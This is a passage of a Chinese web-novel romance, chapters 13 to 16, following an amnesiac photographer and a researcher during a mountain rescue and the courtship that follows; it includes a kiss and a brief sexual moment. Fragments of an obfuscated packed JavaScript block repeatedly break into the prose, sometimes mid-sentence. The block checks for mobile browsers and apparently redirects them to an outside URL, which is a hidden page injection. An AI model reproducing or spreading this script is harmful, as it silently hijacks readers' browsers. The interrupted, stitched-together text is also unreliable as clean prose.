这次季一南没再说不,只是问:“那你呢。” “我不提供陪睡服务。”李不凡抱起手臂,看着季一南钻进去。 下午天气好了很多,至少天亮了一些。 经过几天的搜救,李不凡已经完全确定自己的确拥有丰富的野外经验,如何整理装备,应该带些什么,怎样使用各种用具,都不需要他回忆,早形成惯性。 整理完装备,李不凡跟着季一南和阿夏,一起开车又换了一片区域。 中途路过一片平坦的草地,只是这个季节并没有生长出植物,成片的枯黄色映入眼底。 李不凡问:“夏天这里会开花吗?” “会,”季一南看着他,“会开满格桑花。” “格桑花是什么样子的?”李不凡侧过脸,碰到季一南的眼神。 他觉得季一南的视线又开始变得奇怪起来,好像格桑花是什么密码,李不凡轻轻触碰到,就会打开一只装满珍贵物品的盒子。 如果真有这样的盒子,李不凡首先想要的是自己的记忆。 可惜没有,他还是不知道季一南为什么总是这样看着自己。 “格桑花就是……比雏菊的花瓣大一点,有很多种颜色,”季一南解释起来,“很简单,但很漂亮。” “格桑这个词,有一些藏语的含义吧?”李不凡问。 “对,格桑代表幸福快乐,格桑花生长在高原上,这里气候多变,风雨或者阳光都很极端,但它们生命力顽强,总能开得很灿烂。”季一南靠回椅背,垂下眼,哪里也不看了。 车很快到了目的地,他们带好装备,和另外几个人一起进入搜索。 他们在长满塔黄的高山上寻找很久,到傍晚也没有什么发现,队伍里许多人都很泄气。 几天下来,大家都像只是在山里徒步那样一无所获。茫茫森林,到底要去哪里找一个渺小的人? 返程路上,众人都很疲惫。 季一南本来就不擅长聊天,只剩下阿夏还在努力找话题。 身上的巧克力已经吃完了,李不凡从口袋里摸出一粒薄荷糖,再找的时候就没有了。 只剩下最后一粒,他递给季一南:“吃吗?” 季一南说谢谢,接过来。 又到一处山崖边,跑在最前方的猎犬忽然有了叫声。 阿夏神色一凛,率先追上去。 天空中忽然闪过一道光,跟着是轰鸣的雷声。 要下雨了,但此刻已经无人顾得上天气如何。 李不凡跟上去,蹲在泥泞的路边,盯着一道车辙的边缘看。 “昨天晚上下雨了,这里有人滑下去过,脚印大概是这样的,”他对着泥土比了比,“他滑下去以后,这边可能有摩托经过,车轮的痕迹把脚印的大部分掩盖掉了。我以前……我见过这样的,我们下去看看。” 阿夏支持他的想法,很快让人观察山崖的情况。 豆大的雨珠从天而降,李不凡拉起雨衣的兜帽。 雨衣是他自己套在外面的,季一南没有给他整理过,衣领的部分他弄得不够仔细,偶尔会有雨水滴下来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233812|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >季一南看到了,把自己雨衣上的别针取下一只,站在他身前给他别衣领。 雨水很凉,季一南的手指被淋湿,也是冷的。 他的睫毛上沾着水珠,手很稳地弄好了别针。 “你一个我一个,”季一南抬眼,“很公平。” 李不凡很轻地笑了下。 “下面可能有个山洞,”一个村民说,“既然猎犬有反应,那我们有必要下去看看。” “我已经和营地说了,他们马上带人来,”阿夏想了想,“旁边这棵树可以,用这棵树绑绳子。” 李不凡走到崖边,天太暗,他用手电筒往下照。崖边是密实的树林,落差大概二十米左右,坡度六十到七十度。 他们尝试呼唤小塔的名字,但没有人回应。 “我们要立刻下去看看。”李不凡说。 和他们一组的人除了阿夏都是当地村民,不是非常了解专业的绳索救援。 大家把背包里的绳子都翻出来,李不凡冷静地说:“先用一组绳子做安全带。” 找到合适的绳索,他拎起绳子,量出从自己脚底到肩膀的高度,准备对折的时候被季一南抓住手臂。 “你干什么?” 匆忙中,李不凡没有看清季一南的神色。 “我下去,我懂户外救援。” 他家里有一叠救援证书,虽然失忆后暂时没有过相关经验,但李不凡知道,这些事对他而言就像吃饭喝水一样忘不了。 昨夜有队员出事,今天同样大雨,阿夏不敢轻易让人下去冒险,也拦道:“你没我们了解这里,我是雪山向导,我下去。” “你都说了你是雪山向导,这里是森林,”李不凡看着阿夏,眼神平静,“我有中国探险协会领队的资格证,我参加过不下十次类似的救援,请你相信我。” 阿夏看向季一南,是向他求证李不凡的话。 雨下得更大了,砸在叶片上、土地里,季一南死死抓住李不凡的手臂,不让他动。 周围的人打开了手电筒,一束束光穿插着照亮一小片森林。 “季一南,现在不是闹……” “你不能去!”季一南第一次朝李不凡这么大声地说话,雨水顺着他雨衣的帽檐淌下来,季一南的眼睛落在帽檐的阴影里。 闪烁的手电筒从他脸上一晃而过,李不凡清楚地看见季一南眼眶湿了,不是哭,是控制不了的紧张。 “你不能去,我去……听话。” 李不凡怔住了,手里的绳子被季一南接过。 暴雨里,季一南的动作也没有慢哪怕一秒。他量出合适的长度,将绳子不断对折后打上单结,做出一个简易的全身式安全带。 看出季一南的专业,李不凡定了定心,走过去帮他穿好安全带。 阿夏借树干挂好了扁带和主锁,李不凡拉过季一南安全带上的绳子,和主锁打上意大利半扣。另外一段绳索则被扔到山腰稍平的地方,李不凡在主绳上绑攀树结,试了试,制动没问题。 手电筒的灯光照着这边,他重新检查了一遍季一南身上的所有绳结。 “我就在这里,看着你下去看着你上来。”李不凡握住季一南后颈压向自己,很快地贴了一下他的额头。 只感觉到湿润冰凉的雨水,他甚至没接触到季一南的体温。 “注意安全。”李不凡说。 13.第十三章 雷声劈开峡谷,李不凡几乎站在山崖边缘。 “你小心一点!”阿夏喊道。 大家纷纷用手电给季一南照明。 下降了大概三米左右,季一南抬头喊:“这里有个小山洞!我进去看看。” 绳索够长,季一南的身影很快消失在树丛中。 过了几秒,阿夏手里的对讲机响了,是季一南的声音:“这里不大,只够一个人坐下来,里面有一个包,我拍一点照片再上来。” 李不凡在山崖边蹲下来,接过对讲机:“你小心一点,先看看山洞里有没有什么危险的动物植物。” “知道了。”季一南回复道。 他大概在山洞里待了十分钟左右,就和对讲机说马上上来。 深黑的树丛轻轻晃动,季一南背着在里面找到的包,拉紧绳索,踩着岩壁往上爬。 短靴踏到最后一步,季一南握住李不凡的手臂。 水痕交错地划过季一南的脸,塑料雨衣又湿又滑,李不凡用了很大的力气抓住他。 身后是错乱的摇晃的手电筒灯光,有一瞬间,李不凡觉得眼前不止是季一南,是很多他记不住的脸……他似乎做过很多次这样的动作,抓紧一个在悬崖边的人,把他们拉上来。 身体还在下意识用力,同一缕雨水从李不凡的身上流淌到季一南的身上,季一南一步跨回地面,手掌搭住李不凡肩膀,皱眉问:“你怎么了?没事吧。” 李不凡从错愕中回过神,抿了下唇说:“没事。” 猎犬飞快地蹿过来,围绕着季一南带回的背包打转、狂吠。 “我觉得有可能是小塔的,但下面太暗了,我没看清楚。”季一南取下背包。 为了防止里面的东西被雨水淋湿,李不凡撑开一把伞。 阿夏和季一南开始检查包里的东西。物品只有简单几样,一只保温杯,一本笔记本,几支笔,还有一本关于云南生态的书。 有一瞬间,李不凡说不清楚自己心里到底是怎么想的,他不知道是否应该希望这个包真的属于小塔。 但结论很快就有了,因为季一南翻开了笔记本的第一页。 “是小塔,通知营地的人过来搜查!”阿夏喊道。 这段路能开摩托,但暴雨夜土地泥泞,开车并不安全。 大部队选择步行过来,警察和消防最先到达,很快就把这一片区域完全封锁了。 “我们找了几位气象和河流方面的专家,如果小塔掉下了山崖,这附近还有一条河流,这几天上游雪山在下雪,这一段也时晴时雨,我们需要判断他在受到自然环境影响后可能会在哪里,”其中一位警察拍了拍阿夏的肩膀,“这几天辛苦你们,后面的事情我们接管,你们先回去休息,要我找人送吗?” 阿夏摆摆手,说:“我们自己下山就行。” 李不凡和季一南的雨衣早就废了,雨水滚得满身都是,李不凡干脆撑着伞走。 明明已经有了线索,下山的气氛却更加沉重。 山洞里只有书包,最重要的、最容易随身携带的手机却不见踪影。 小塔很有可能离开山洞了,他们都不愿意去想那个最坏的结果。 “到营地以后,我找人送你们回酒店,”阿夏先开口,“这几天你们也累了,估计在营地里就没睡好过。” “后面有什么结果,通知我就行。”季一南说。 李不凡举着伞,垂眸看脚下泥泞的路,没有注意季一南在看,只是还想着刚才回忆起的几个瞬间。 这是这么多天以来,他第一次想起以前的事。 雪山大概是真的爬过很多,森林他也去过,植被稀少的高山他徒步经过。参加救援是真的,不止有证书做证明,他自己也记起了一些。 不论如何,李不凡都松了一口气。看来他不会永远就这样忘记,是有机会想起来的。 回到营地,阿夏去处理其他事情,李不凡和季一南往他们住过的帐篷走。 到帐篷外时,雨已经停了。李不凡收好伞,正要弯腰进去,季一南握住他的手臂,把他朝自己这边带了一点。 帐篷外挂着的一盏白炽灯照在季一南脸上,可能是角度不太好,也可能是季一南这么几天本来也没怎么休息过,他脸色很差,但还是很认真地看着李不凡。 “你刚才没事吧,从我上来开始你就心不在焉,是怎么了吗?”季一南问。 李不凡停住脚步,他转过身,看了几秒季一南的脸,才移开视线。 “我没事,”李不凡说,“就是有点累了。” 我真的不认识他。 李不凡想。 要下山崖的时候季一南反应那么大,让他有些失语。 对一个几乎算得上陌生的人这么好,季一南跟谁都这样吗? 李不凡把手臂从他掌心轻轻挣脱,拿走帐篷外挂着的那盏灯,弯腰钻了进去。 很快,季一南也跟了进来,在他身边坐下。 需要清理的东西不多,没一会儿就收拾好了。 和季一南一起坐上回酒店的车时,已经快凌晨了。 夜雨还在下,天空中飞着很小的雪粒,李不凡靠着座椅发了会儿呆。 车在道路上颠簸了一下,肩膀上多出的重量让李不凡回过神。 他侧过脸,看见季一南不知何时睡熟了。 这两天季一南比他还累,就算是专业的救援人员,也到了该好好休息的临界值。 李不凡没有推开他,只是呼吸变得轻了一些。 道路两侧很暗,借着一道道均匀地划过车窗的灯光,李不凡垂眼看季一南的脸。 他五官很深,是第一眼就会觉得帅的那种男生,只是安静着、没什么表情的时候,容易让人觉得有些冷。 李不凡想起前几天刚见到宋朗白的时候,他说李不凡比从前还要沉默一点,不说话的时候就挺冷。这个评价和李不凡对季一南的印象差不多。 但如果结合他们的行为和语言习惯,李不凡还是觉得,他和季一南不太一样。 他是乐意开玩笑的人,季一南却是那种能把让别人听起来觉得像玩笑的话,说得非常认真和专心的人,好像他的人生中没有什么玩笑一样。 李不凡又想到刚才在山崖边,季一南不让他去救人。 他怎么会那么害怕?是李不凡看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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要退开时,李不凡才发觉自己的后颈仍旧被用力按着,动弹不得。季一南这时慢慢动了动,他另一只手揽住了李不凡的腰,密实地将他压入自己怀里,微微张开唇时,李不凡大脑一白,下意识地跟随他的动作,碰到了他柔软的舌尖。 季一南含住他的嘴唇吮咬了一口,这一口声音有些大,弄得李不凡分心去想司机会不会发现。但其实不会,因为后座实在太黑了,李不凡被季一南抱得只能紧紧贴住他胸膛,被他的骨骼和肌肉硌得厉害。 亲吻时微小的啧啧水声被掩盖在汽车行驶的噪音中,被季一南舔过口腔时,李不凡全身都敏感地麻了下,偏偏那只掌住他后腰的手不轻不重地按了按,在尾椎的位置。 本应该沉溺在q欲里的时刻,李不凡却忽然听见季一南如同闷鼓一般的心跳声。 自己大概也是疯了,李不凡攥着季一南的衣角,很深地吸了一口气。 原来只需要几天,他就可以爱上一个几乎陌生的人。 14.第十四章 这个吻很长,季一南用手指抬着李不凡的脸,亲一会儿停一会儿。 李不凡能感觉到季一南控制着自己的呼吸,他吸气时很小心,吐气时也是。他会下意识地用指腹摩挲自己的脸侧,带来有点粗糙、有点痒的触感。 黑暗中,李不凡觉得季一南一直在试图看清他。 可他不想一切都那么清楚,于是很重地咬了一下季一南的嘴唇,抬手捂住他的眼睛。 车窗外开始出现灯光,他们到小镇里了。 下车的时候季一南戴上了自己的鸭舌帽,站在车门边等李不凡。 酒店檐下的灯很亮,李不凡不太适应,轻微地皱了皱眉。 等到进了电梯,他才侧头看了一眼季一南的嘴唇。 有几下他咬得挺重,李不凡自己知道。 果然,季一南唇上有一道细小的伤口,可能是因为天气干燥,所以开裂很快。 “痛吗?”李不凡没头没尾地问。 但季一南听懂了,他忽然笑了下,说没事。 很快,李不凡的楼层到了,他下了电梯,才发现季一南跟着他走下来。 “我记得你住楼上。”李不凡说。 “我让老板换房间了,”季一南从口袋里摸出新的房卡,“在你隔壁。” 李不凡脚步没停,随口问:“故意的?” “还不明显吗?”季一南说。 走到房间门口,李不凡拿出自己的房卡,轻轻碰一下,门就打开了。 “早点休息。”他说。 推开门,季一南还站在原地,朝他的方向望着。 房间打扫得很干净,李不凡放了包去洗澡。 他拉了窗帘,坐在床边脱衣服,刚摘完皮带,手机响了一声。 李不凡拿起来看,是季一南发的简单两个字:【晚安。】 手指在键盘上碰了几下,李不凡又把打好的字删掉了,摁灭屏幕进了浴室。 干净的热水流淌下来,他搓着泡沫,有些走神。 季一南好像不是李不凡最开始想的那种可以随便试一试要联系方式,再看看能不能在一起的人,他应该无法接受自己被随意辜负。 李不凡想不明白季一南,更想不明白自己。 他自己又是什么样的人呢?如果要谈恋爱,应该怎么开始? 闭上眼,李不凡的脑海里全是刚才他们接吻的样子。 还好没有灯光,不然他觉得自己可能会显得非常狼狈。 李不凡看了一眼身下,无奈地笑了声,伸出手去。 洗完澡吹好头发,李不凡先在和宋朗白、小柳的群聊里发了消息,告诉他们自己回来了,明天可以工作。 宋朗白:【白玛山南坡全部封掉了,我们先朝北走,去拍拍峡谷吧。】 李不凡:【好,车修好了吗?】 小柳:【早就修好了老大,你这两天去帮忙,没出什么事吧?】 李不凡:【就被石头蹭了下,别的没什么。】 小柳:【行行行,那我们明天上午九点出发,到的时候差不多中午,天气好一点。】 李不凡:【好】 放下手机,他听见有人敲门。 李不凡看了一眼猫眼,站在门外的人是季一南。 他打开门,对方就把手里的一碗苹果递过来。 “吃吗?”季一南问。 他也换了一身家居服,身上散发着清新的沐浴露味道。 “谢谢。”李不凡想选一个,但季一南把一整碗都给他了。 “都是给你的,这种小苹果很甜,”季一南看他一眼,“你收到我的信息了吗?” 顿了一秒,李不凡想到季一南发的那句晚安。 “说了晚安还没有睡觉吗?”他问。 “看到了就好。”季一南点点头,转身走了。 拿着苹果回了房间,李不凡在床边坐下,更想不清楚季一南这个人。 每一个小苹果都被洗过,干净的水珠从表面滚下来,弄得桌面湿了一圈。 李不凡咬了一口,苹果很甜,是他喜欢的味道。 他一边吃,一边给季一南回了条信息:【谢谢。】 看到对方正在输入中,他又发:【刚才问我收到没有,是想让我回复吗?】 季一南:【想吃苹果就找我】 李不凡笑了声。 他睡了很足的一觉,在快要醒来时,才做了一个梦。 这一次梦也还是很短,但却真实。李不凡好像能清晰地感受到扑面而来的乱流,他来不及看身下纵深的山谷,就瞬间撞上山体。 李不凡醒了过来,额头上满是冷汗。睁开眼,四周一片寂静,阳光从窗帘的缝隙中透进来,照亮窗边的一小片。 想要稍微再记起一点什么,头就开始痛。 下楼时,宋朗白和小柳都坐在小院子里。 老板给他们支了张小桌,摆上几份早餐。 早晨风有点大,但阳光很好。 李不凡和老板打了声招呼,走到玻璃门边,才看见被一株绿植挡住的季一南。 一张两边长两边短的桌子,宋朗白和小柳坐在同一侧,李不凡就拉开季一南身边的椅子。 “老板,麻烦再上一份早餐,不要香菜。”季一南转头和老板说。 “正好想问你,没想到你先下楼了,”宋朗白喝了口茶,“昨天晚上睡得很晚吗?” “还好。”李不凡说。 他显得精神不好,是因为还在想刚才的梦。 之前在山崖边拉住季一南时他想起自己曾经这样拉住过许多人,梦里也有过这一部分,还以为有时会梦到一些曾经经历过的事情。 但坠崖是怎么回事? 他明明……又不可能。 “苹果好吃吗?”季一南轻声问。 “在哪里买的?”李不凡也给自己倒了一杯茶。 “一个很远的市场。”季一南说。 “很远?那什么时候去买的?” “前几天开车去的。” 李不凡没有继续问下去,和季一南聊完,他的那份早餐也端了上来。 是一碗热气腾腾的米线。 拿起筷子,李不凡才注意到对面宋朗白和小柳的眼神。 “怎么了?”他奇怪地问。 宋朗白清了下嗓子,说:“没什么,你先吃东西吧。” 实际上是李不凡和季一南聊得太投入,说话时他们靠得很近,声音也小,李不凡脸上带着松散的笑,不是平常会见到的神色。 “你们今天去哪里?”季一南从口袋里摸出一颗薄荷糖,撕开来放进嘴里。 “峡谷,先去试试机位,”宋朗白问,“你呢?” “上山,最近在找一种蘑菇。”季一南说。 “你的工作听起来很有意思啊。”小柳也搭话。 李不凡吃东西的时候他们简单聊了一会儿,季一南的同事过来了,他就起身说先走。 “晚上见。”季一南低头小声和李不凡说,掌心贴着他后腰,碰了一下。 等他们的车开走,宋朗白才挑了下眉,看着李不凡,颇有深意地说:“才几天,你俩这么熟了?” “还好吧,”李不凡放下筷子,抽了张纸,“我们也走。” “又不聊了,”宋朗白切了声,“没意思。” “你的有意思就是每天在这里听八卦?”李不凡推了他一下。 “什么八卦?”小柳凑上来,“谁的八卦?” 宋朗白笑着拍拍小柳脑袋:“……乖,今天你开车。” 峡谷这条路之前李不凡跟着季一南走过一次。 云南境内三江并流,这是其中的一条江。 山谷的左侧是央娜雪山,右侧是森卓雪山,即使前几天下了雨,水仍然是深绿色。 为了拍峡谷,他们走得很慢。 试了一上午,也没找到特别满意的位置。简单吃了个午饭,他们继续往深处走。 到一个大转弯的地方,景色开阔了起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248091|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李不凡指了块石头,说我上去试试。 “你绑个安全绳吧。”宋朗白说。 那块石头在山崖边,岩石一层一层叠起来,突兀地伸出一块。 李不凡把身上的背包摘下来递给宋朗白,先轻装上阵过去检查了一遍。 “没地方绑。”他说。 宋朗白已经站在原地换好了镜头,长焦很重,他还是担心危险,先在附近试着拍了几张。 光线还不错,宋朗白用手挡着光,给李不凡看他拍的东西。 “还行,但我还是觉得站那边能开阔点,在这里左边和右边的山拍不出错落的感觉,”李不凡把相机从宋朗白身上摘下来,“帮我看着点。” 岩石很窄,放不了支架,只能手持。李不凡走得很小心,到了岩石边缘,他坐下来。 小柳和宋朗白都在身后,怕李不凡拍东西的时候不注意就往后退了。 江水之上风呼呼地吹着,阳光照在峡谷里,可空气还是冷。 李不凡抬起相机,尝试几次后,他撑着岩石站起来。 他用的相机是哈苏X2D100C,75MM的镜头,重量不小。 李不凡重新调整参数,举着相机等待它缓慢对焦。 拍了半个多小时,李不凡手指都被风吹得僵硬了。 他小心地回到山崖边,把相机交给宋朗白,说:“换胶片机试试。” 李不凡主要拍中画幅,宋朗白更擅长近景,他们把这个机位拍到很透彻才离开。 中午李不凡带着宋朗白和小柳去上次他和季一南一起吃过的那家客栈,说是午饭,其实吃完时已经是傍晚了。 不同的天气、光线下,都能拍出不同的东西,李不凡拎起包,问宋朗白要不要再回去看看。 “走呗,我觉得现在外面晚霞的这个颜色,更适合刚才那个景。” 李不凡点头,“还更适合我手上那台相机。” 开车回酒店时已经快晚上八点了,因为担心再晚会下雨或者下雪影响道路,他们没吃晚餐就上路。 到的时候夜色已深,去别的地方吃饭不方便,李不凡让酒店给他们准备了一桌晚餐。 先上楼把设备放了,顺便洗了个澡,李不凡才下楼吃东西。 小柳坐在位置上看手机,见李不凡来了,和他说:“无人机的申请下来了,不过是有区域限制的。” “行,晚点我看看。” 过了一会儿宋朗白也从楼上下来,几个人才吃起这顿迟来的晚餐。 他们坐在小院子里,头顶有个雨棚。 吃了没多久,天上开始下雨,哗啦啦地拍在雨棚上。 “哇这边天气真是难猜……”宋朗白忍不住感叹,“我刚来那几天,就走在马路上,太阳晒得我受不了,过十分钟,开始飘雨,我以为雨不大没拿伞,结果没几秒就下大了,刚把包取下来把伞拿出来,好家伙,雨又停了,就这么一直反反复复的。” 小柳和李不凡都笑。 “喝点酒吗?”宋朗白问。 李不凡点了点头,他就朝老板招手:“三瓶啤酒,谢谢老板。” 服务生拎着三瓶酒过来,连同开瓶器一起放在桌上。 李不凡没用开瓶器,瓶口抵在一起,往上一撬就都打开了。 “来干杯啊,明天多睡会儿。”宋朗白说。 小柳是知道他们习惯的,跟着宋朗白和李不凡,讲究的不是效率,是创作。 他还记得以前他尝试着催过,李不凡拍着他肩膀说:“要只是为了商业摄影,我就不干这行了。” 路上的风景、摄影的过程,任何一个都比成片重要,这是他们理念。 李不凡不记得自己以前会不会喝酒,但一口下去,他感觉还好。 夜风很凉,吹在身上虽然冷,但舒服。 李不凡靠着椅背,眼睛被由远及近的车灯晃了下。 “这么晚了谁啊?”小柳也看过去。 那车开得近了,三个人才一起认出来,是季一南回来了。 15.第十五章 他把车停在小院旁边,撑着伞走下来,手里还拎着一个很大的器材箱。 季一南身后还有一个男生,看着挺小的。 李不凡仰头喝了一口酒,看着季一南走到自己身边。 “在吃饭?”季一南头发被淋湿了,一滴水落在李不凡肩膀上。 “嗯,你们呢?”李不凡问。 “刚从山上连滚带爬地下来,没来得及呢,”那男生很主动,朝李不凡递手,“你好,我是季一南同事,准确地说是他徒弟、助理,叫我小七就行。” 李不凡和小七握了下手。 “吃点吗?”李不凡看向季一南,“我再点几个菜。” “好,”季一南说,“我先上去放东西。” 箱子就季一南手里有一个,他转身进了酒店,小七坐下了。 李不凡抬手把老板叫来,让小七点了几个菜。 “听你说你们这趟挺辛苦,山上怎么了?”宋朗白问。 他们来的这几天没往太高的地方走,想着先适应适应海拔,但后面肯定要去的。 他们还打算去拍雪山。 “这个季节上面天气很差,特别不稳定,”小七喝了口热水,“冷啊,一会儿刮风一会儿下雪,什么都看不清。” “什么都看不清你们能去研究什么?”小柳笑了。 小七知道他没别的意思,解释道:“我们搞科研的就是这样,就拿蘑菇举例,那总得有人知道,蘑菇在下雪的时候去哪儿,刮风的时候去哪儿吧。” 他说话好玩,把一桌人都逗笑了。 “其实本来我们不会回来这么晚的,”小七接过老板拿来的两瓶酒,“回来的时候师父说要去买水果,开去一个很远的市场绕圈子,才碰上下雨。” 李不凡手一顿,抬了下唇角,问:“买了什么水果?” “哎就是那个什么……” “吃草莓么?”季一南的声音打断了小七的话。 李不凡扭过头,看见季一南手里拎着一小篮子新鲜草莓。 “我刚在房间里洗过的,下午才买的,”季一南换了一件外套,身上就不再滴水,“这里天气太干燥了,要多吃水果。” 除了李不凡以外,桌上的人都不讲话了。 “你先坐。”李不凡给他拉开自己身边的椅子。 季一南把那一小篮子草莓放到桌上,让大家一起吃。 每一只草莓的叶子都已经被摘掉了,草莓上还挂着水珠,是才洗过的。 “很甜吗?”李不凡拿了一个尝,点着头模糊地说:“是很甜……” 桌上除了李不凡以外没人拿草莓吃,都眼观鼻鼻观心地喝着酒,还是小七先说话:“你们在这边做什么?” “拍照,”宋朗白没忍住,看着李不凡笑了声,“就拍拍风景什么的。” 李不凡知道他在想什么,没讲话,在旁边吃他的草莓。 很快,新加的菜和两瓶啤酒拿了上来。 “两个新朋友,来干一个呗。”宋朗白举起酒瓶。 “等等,还没问能不能喝呢。”李不凡拦了下,抬起一条手臂搭在季一南的椅背上,偏过头笑着问他:“能喝吗哥?” 屋檐下一盏白炽灯照着李不凡侧脸,季一南看着他,视线好像走了很远。 停顿了很难被察觉的半秒,季一南拿起酒瓶,和李不凡的碰了下:“能喝。” 小七和宋朗白都是爱聊天的人,基本没有冷场的时候。 李不凡吃东西吃得很快,差不多了就放下筷子,听他们聊天。 季一南全程没讲两句,只是默默在一边喝酒。等这顿饭结束,他是喝得最多的,也是最看不出喝过酒的。 几个人一起进了电梯,除了小七都去同一层楼。 等电梯到了楼层,宋朗白走在后面,看见季一南也下电梯了,意外地抬了下眉。 他和小柳的房间在另外一边,没走两步到转弯的地方,宋朗白和李不凡说明天见。 走廊上只剩李不凡和季一南,这段路不窄,季一南落后李不凡半步,目光落在他耳后。 那块闪电状的小疤随着李不凡走路一晃一晃的,季一南看了一会儿,无声吸了口气,抬手握了一下他后颈。 “怎么了?”李不凡回头。 “没事,”季一南收回视线,“你能等我一下吗?我给你拿东西。” 他房间就在前面两步的位置,李不凡说好,季一南才放下手。 等了没多久,季一南拎着一篮子草莓从房间里出来。 “怎么买了这么多。”李不凡没接,季一南的手也不收回去,就那样停在半空。 “之前那一篮是给大家吃的,我没想到没人动,”季一南解释,“这个是我单独留给你的。” 李不凡想没人吃是因为你的徒弟小七说你买草莓买的很辛苦,拿过来的时候你又特地关心我,现在那张桌子上的人都怀疑我们之间有点什么。 但他没说,只是笑了下。 “为什么给我买?”李不凡问。 “我说过了,”季一南牵过李不凡的手,把篮子给他,“天气干燥,你要多吃水果。” 李不凡拿好了那只篮子,但季一南的手还没放开。 他的掌心往下移了一点,覆盖住李不凡的手。 ??可能是喝了酒,季一南掌心很热,还带着一点潮湿感。 “晚安。”他说。 明明说了晚安,季一南却垂下眼,看李不凡的手,还是没有放开。 “不是晚安了吗?”李不凡也没动,看着季一南的脸,问他。 他觉得季一南好像有点醉了,他看起来就不像爱喝酒的人。 季一南好像很无奈,点点头。 他抬起脸看李不凡的眼睛,看他就那样带着一点笑意地望着自己。 季一南是一个很奇怪的人,他的奇怪在于总是把李不凡看得太重要,以至于李不凡觉得越了解他,反而越不懂他。 可有时他又想,他还能见到季一南几次呢? 结束拍摄以后离开云南,他们之间可能永远相隔几千公里。 这也是李不凡暂时没想过要给他们的关系一个什么定论的原因。 宋朗白:【我和小柳想了想,每天开车往返五个小时太累了,我们在峡谷那边的客栈住一个星期怎么样?】 李不凡收到信息时刚准备睡觉,他随手回了个好。 宋朗白:【你确定?】 李不凡:【我为什么不确定】 没两秒,宋朗白的电话打过来了。 “我以为季一南在追你。”宋朗白开门见山地说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248092|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不知道,”李不凡默认他们在暧昧,但是不是想追求一段关系,他不太清楚季一南的想法,“所以呢?” “你换地方住了还怎么见到他?”宋朗白问。 电话那头沉默片刻,李不凡说:“反正不是换酒店就是换城市换国家。” 挂断电话后,李不凡有些烦躁,他关了灯躺在床上,翻来覆去睡不着,还出了一身汗。 第二天宋朗白和小柳进李不凡房间的时候,他才刚醒。 李不凡已经换好了衣服,靠在桌边喝矿泉水。 “没睡好?”宋朗白问他。 “嗯,”李不凡咽了水,不想聊这个,“酒店订好了吗?” “订好了,”小柳说,“先订了一个星期,之后再看吧。” 李不凡点点头:“那我们先不用把东西全部带走,留一个房间放东西吧。” 他们现在住的酒店去哪里都比较方便,之后还有其他的景要拍,他们也不会一直留在峡谷那边。 “可以,我和小柳房间里面都没什么设备,就留你这间。”宋朗白说。 设备的清点和装运是最复杂的,李不凡已经算非常有条理的人,每次带东西走之前,都会打印一份完整的清单,最后清点时按照单子打钩,保证不遗漏任何东西。 装完东西上车已经是傍晚,李不凡坐在副驾给季一南发信息。 李不凡:【我们这几天去峡谷拍照,住这边太远了,所以换了酒店】 季一南可能是在工作,所以没有立刻回复。 车程两个半小时,李不凡在车里用平板看图片,顺便整理好接下来的拍摄计划。 消息栏里还是空的,车有些颠簸,一直盯着屏幕有些晕车,李不凡干脆关掉了平板。 他们到新的酒店整理完行李,下楼在客栈里吃饭。 “我用软件看了看,这段时间央娜雪山天气都不好,不太可能看到日照金山。”李不凡说。 “雪山我们就随机应变吧,”宋朗白开了瓶酒问其他两个人喝不喝,“反正这边找司机也方便,到时候叫个本地人带我们去。” 天色已暗,李不凡偏过头,看着窗外湍急的河水。 放在桌面的手机这时才响了一声,他很快地拿起来,划开屏幕。 季一南:【搬去哪里了?可以给我一个定位吗?】 李不凡把这里的位置发给他。 季一南:【你现在在酒店吗?】 李不凡:【在吃饭】 季一南又忽然不说话了。 不知道为什么,李不凡有一种预感,好像季一南这么问,是因为他会马上开车过来。 说不清楚到底想不想见季一南,李不凡点出微信又点进去,反反复复好几次。 “谁的消息啊看得这么沉重。”宋朗白随口问。 “没有……”李不凡要放下手机,季一南却回复了:【本来想晚上过来的,刚才所里突然有事。】 【你明天会很晚回吗?】 李不凡:【我们一般晚上六点结束,回程花多少时间看走哪段路】 其实五六点的时候光就不好了,除非有傍晚和夜间的景要拍,他们都会趁早开始趁早结束。 季一南:【好,我知道了。】 李不凡没什么表情,拿起酒杯喝了一口。 16.第十六章 第二天傍晚回酒店的时候时间还早,李不凡一进酒店,视线就下意识往大堂扫了一圈。 